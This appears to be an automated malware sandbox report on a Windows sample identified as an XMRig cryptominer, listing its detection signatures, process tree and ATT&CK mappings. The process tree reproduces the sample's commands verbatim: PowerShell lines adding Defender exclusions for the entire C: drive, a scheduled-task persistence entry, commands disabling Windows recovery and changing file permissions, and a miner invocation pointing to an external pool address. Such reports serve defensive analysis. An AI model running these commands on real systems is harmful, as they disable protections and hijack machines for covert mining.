Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
01/11/2026, 12:44
General
- Target 2026-11-01_7bbd3d551c93f3bb46e19dec5a1c23a1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
- Size 401KB
- Sample261101-pystvsxs3p
- SHA256 1186ea92286427c3adda662257998db71df025f036fffaebd36004130473167d
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Looks for VirtualBox Guest Additions in registry 2 TTPs 3 IoCs
- XMRig Miner payload 13 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Looks for VMWare Tools registry key 2 TTPs 3 IoCs
- Possible privilege escalation attempt 3 IoCs
- Executes dropped EXE 3 IoCs
- Modifies file permissions 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Power Settings 1 TTPs 7 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 3 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 5 IoCs
- Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-11-01_7bbd3d551c93f3bb46e19dec5a1c23a1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-01_7bbd3d551c93f3bb46e19dec5a1c23a1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C reagentc /disable2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\ReAgentc.exereagentc /disable3⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\takeown.exetakeown /F "C:\Windows\System32\reagentc.exe"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /hibernate off2⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul2⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping -n 1 -w 1000 8.8.8.83⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe --algo rx/0 --url 107.149.8.96:3333 --user 42rWxJoTVZnFvAxShvkZKLSR5dus86qUv89zRJXSvcWjTkwkVipmdvZY7CNNJGx2j62sTgnJxUgK27BQ8pSAQjYY6avcwcN/x -p x -k --cpu-max-threads-hint=902⤵
- Badlisted process makes network request
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC1⤵
-
C:\Windows\System32\Win-v42.exeC:\Windows\System32\Win-v42.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Modify Registry
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_l2xozraa.op2.psm1
Win-v42.exe
memory/2024-24-0x0000021495B89000-0x0000021495B8F000-memory.dmp
memory/2024-5-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-9-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-12-0x00000214AE530000-0x00000214AE54E000-memory.dmp
memory/2024-13-0x00000214AE550000-0x00000214AE602000-memory.dmp
memory/2024-7-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-14-0x00000214AE610000-0x00000214AE61A000-memory.dmp
memory/2024-15-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-16-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-17-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-18-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-19-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-20-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-21-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-23-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-0-0x00007FFB336DF000-0x00007FFB336E0000-memory.dmp
memory/2024-6-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-8-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-42-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-4-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/2024-3-0x00000214AE290000-0x00000214AE2B2000-memory.dmp
memory/2024-62-0x00007FFB33550000-0x00007FFB33EF4000-memory.dmp
memory/4224-68-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp
memory/4224-74-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp
memory/4224-64-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp
memory/4224-65-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp
memory/4224-66-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp
memory/4224-67-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp
memory/4224-70-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp
memory/4224-61-0x0000025136960000-0x0000025136980000-memory.dmp
memory/4224-63-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp
memory/4224-71-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp
memory/4224-72-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp
memory/4224-73-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp
memory/4224-69-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp
memory/4224-75-0x00007FF7921F0000-0x00007FF792AB3000-memory.dmp